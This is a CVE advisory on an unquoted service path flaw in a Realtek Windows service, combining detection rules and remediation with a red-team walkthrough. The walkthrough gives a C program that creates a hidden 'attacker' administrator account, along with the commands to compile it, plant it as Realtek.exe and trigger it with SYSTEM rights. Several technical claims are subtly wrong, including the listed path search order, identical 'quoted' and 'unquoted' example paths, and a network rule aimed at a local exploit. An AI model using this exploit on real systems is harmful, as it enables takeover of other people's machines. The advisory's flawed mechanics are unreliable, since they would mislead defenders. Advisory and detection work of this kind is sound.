CVE-2019-25345

Executive Summary

CVE-2019-25345 is a local privilege escalation vulnerability in the Realtek IIS Codec Service (version 6.4.10041.133). The vulnerability stems from an unquoted service path in the service configuration, which allows a local attacker with low privileges to inject a malicious executable into the path. When the service starts, Windows will search for the executable in the unquoted path, potentially executing the attacker's payload with SYSTEM privileges. This vulnerability is classified as CWE-428 (Unquoted Search Path or Element) and is mapped to MITRE ATT&CK tactic T1574 (Hijack Execution Flow). No official patch has been released by Realtek, and the EPSS score is 0.0%, indicating low exploitation probability in the wild, but the risk remains for local privilege escalation.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a Windows service binary vulnerability.

CVSS Breakdown & Threat Level

CVSS v3.1 Score: 7.8 (High) Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Local (L) – The attacker must have local access to the system.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker needs low privileges (e.g., standard user).
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full system compromise possible.
• Integrity (I): High (H) – Full system compromise possible.
• Availability (A): High (H) – Full system compromise possible.

Threat Level: High. Local privilege escalation can lead to full system compromise, persistence, and lateral movement.

Deep Dive & Mechanics

The Realtek IIS Codec Service is installed with an unquoted service path. The service binary is typically located at: C:\Program Files\Realtek\Audio\HDA\RtkAudioService.exe

However, the service configuration (in the Windows Registry or via sc qc) may show the path as: C:\Program Files\Realtek\Audio\HDA\RtkAudioService.exe

If the path contains spaces and is not enclosed in quotes, Windows will interpret each space-separated segment as a potential executable. For example, if the service path is: C:\Program Files\Realtek\Audio\HDA\RtkAudioService.exe

Windows will attempt to execute:

1. C:\Program.exe
2. C:\Program Files\Realtek.exe
3. C:\Program Files\Realtek\Audio\HDA\RtkAudioService.exe

An attacker with write access to any of these directories (e.g., C:\Program Files\Realtek\) can place a malicious executable named Realtek.exe or Program.exe. When the service starts (e.g., at boot or manually), the malicious executable will be executed with SYSTEM privileges.

Vulnerable vs. Patched Code

Vulnerable Configuration: The service path is stored without quotes in the registry or service configuration. Example:

ImagePath: C:\Program Files\Realtek\Audio\HDA\RtkAudioService.exe

Patched Configuration: The service path should be enclosed in double quotes:

ImagePath: "C:\Program Files\Realtek\Audio\HDA\RtkAudioService.exe"

No official patch has been released by Realtek. The only mitigation is to manually quote the service path or remove the vulnerable service.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Local access to the target system with low privileges.
• Write access to a directory in the unquoted path (e.g., C:\Program Files\Realtek\).

Exploitation Steps:

1. Identify the vulnerable service:

   sc qc RtkAudioService
   

   Look for an unquoted path.

2. Create a malicious executable (e.g., Realtek.exe) that spawns a reverse shell or adds a user:

   // malicious.c
   #include <stdlib.h>
   int main() {
       system("net user attacker Password123! /add");
       system("net localgroup administrators attacker /add");
       return 0;
   }
   

   Compile: gcc -o Realtek.exe malicious.c

3. Place the malicious executable in the writable directory:

   copy Realtek.exe "C:\Program Files\Realtek\Realtek.exe"
   

4. Trigger the service start (e.g., reboot or sc start RtkAudioService).

5. The malicious executable runs with SYSTEM privileges, adding the attacker to the Administrators group.

Exploit-DB Code: None available.

Blue Team (Detection & Prevention)

Detection:

• Monitor for service path modifications (Event ID 7045).
• Monitor for file creation in C:\Program Files\Realtek\ or similar directories.
• Use Sysmon Event ID 1 (Process Creation) to detect execution of Realtek.exe or Program.exe from unexpected paths.

Prevention:

• Manually quote the service path:

  sc config RtkAudioService binPath="\"C:\Program Files\Realtek\Audio\HDA\RtkAudioService.exe\""
  

• Restrict write permissions to C:\Program Files\Realtek\ to Administrators only.
• Remove the service if not needed.

Indicators of Compromise (IOCs)

• File: C:\Program Files\Realtek\Realtek.exe (or other malicious executables in the path)
• Registry: HKLM\SYSTEM\CurrentControlSet\Services\RtkAudioService\ImagePath with unquoted path
• Process: Realtek.exe or Program.exe running from C:\Program Files\Realtek\
• Event Log: Event ID 7045 (service creation) or 4688 (process creation) with suspicious parent-child relationships

Detection Engineering

YARA Rule

rule CVE_2019_25345_Unquoted_Service_Path {
    meta:
        description = "Detects unquoted service path for Realtek IIS Codec Service"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-25345"
    strings:
        $s1 = "RtkAudioService" nocase
        $s2 = "C:\\Program Files\\Realtek\\Audio\\HDA\\RtkAudioService.exe" nocase
    condition:
        $s1 and $s2
}

Sigma Rule

title: Unquoted Service Path - Realtek IIS Codec Service
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unquoted service path for Realtek IIS Codec Service (CVE-2019-25345)
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2019-25345
logsource:
    product: windows
    service: system
detection:
    selection:
        EventID: 7045
        ServiceName: 'RtkAudioService'
        ImagePath|contains: 'C:\Program Files\Realtek\Audio\HDA\RtkAudioService.exe'
        ImagePath|re: '^[^"]'
    condition: selection
falsepositives:
    - Legitimate unquoted paths (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2019-25345 - Realtek Unquoted Service Path Exploit"; flow:to_server,established; content:"Realtek.exe"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Manually quote the service path:

   sc config RtkAudioService binPath="\"C:\Program Files\Realtek\Audio\HDA\RtkAudioService.exe\""
   

2. Restrict write permissions to C:\Program Files\Realtek\ to Administrators only.
3. If the service is not required, disable or remove it:

   sc stop RtkAudioService
   sc delete RtkAudioService
   

Long-Term:

• Monitor for unquoted service paths using vulnerability scanners.
• Apply the principle of least privilege to all service directories.
• Keep systems updated with the latest security patches.

Patch Status: UNKNOWN / UNPATCHED. No official patch from Realtek.

Valters IT